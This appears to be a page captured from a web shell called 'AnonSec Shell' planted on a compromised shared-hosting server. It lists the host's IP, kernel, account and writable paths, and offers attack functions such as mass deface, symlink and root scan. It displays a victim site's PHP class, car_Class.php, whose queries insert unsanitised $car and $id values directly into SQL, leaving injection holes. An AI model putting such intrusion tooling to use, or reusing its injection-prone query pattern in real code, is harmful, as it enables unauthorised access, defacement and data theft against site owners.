AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/class/car_Class.php
<?php
class Car  extends Connect
{

	public function ck_carnumber($car)//in:1234567891  //out:  true / false
	{
		$this->setconnect();
		$query = "SELECT COUNT(id) AS count_id FROM carregistration WHERE status = 1 AND carregistration = '".$car."'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		$txt = $row['count_id'];

		return $txt;
	}
	public function ck_carnumber_Edit($car,$id)////เบอร์ใหม่ / idที่จะแก้ in:1234567891  //out:  true / false
	{
		$this->setconnect();
		$query = "SELECT * FROM carregistration WHERE status = 1 AND id = '".$id."'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		if($row['carregistration'] == $car)
		{
			$txt = 0;
		}
		else
		{
			$query = "SELECT COUNT(id) AS count_id FROM carregistration WHERE status = 1 AND carregistration = '".$car."'";
			$result = mysql_query($query) or die('Query failed: ' . mysql_error());
			$row = mysql_fetch_assoc($result);
			$txt = $row['count_id'];
		}

		return $txt;
	}
	public function car_total($var)//in:0893353222  //out:37
	{
		$pos1 =  substr($var, 0, 1);
		$pos2 =  substr($var, 1, 1);
		$pos3 =  substr($var, 2, 1);
		$pos4 =  substr($var, 3, 1);
		$pos5 =  substr($var, 4, 1);

		$total = $pos1 + $pos2 + $pos3 + $pos4 + $pos5;
		return $total;
	}





}
?>

Anon7 - 2022
AnonSec Team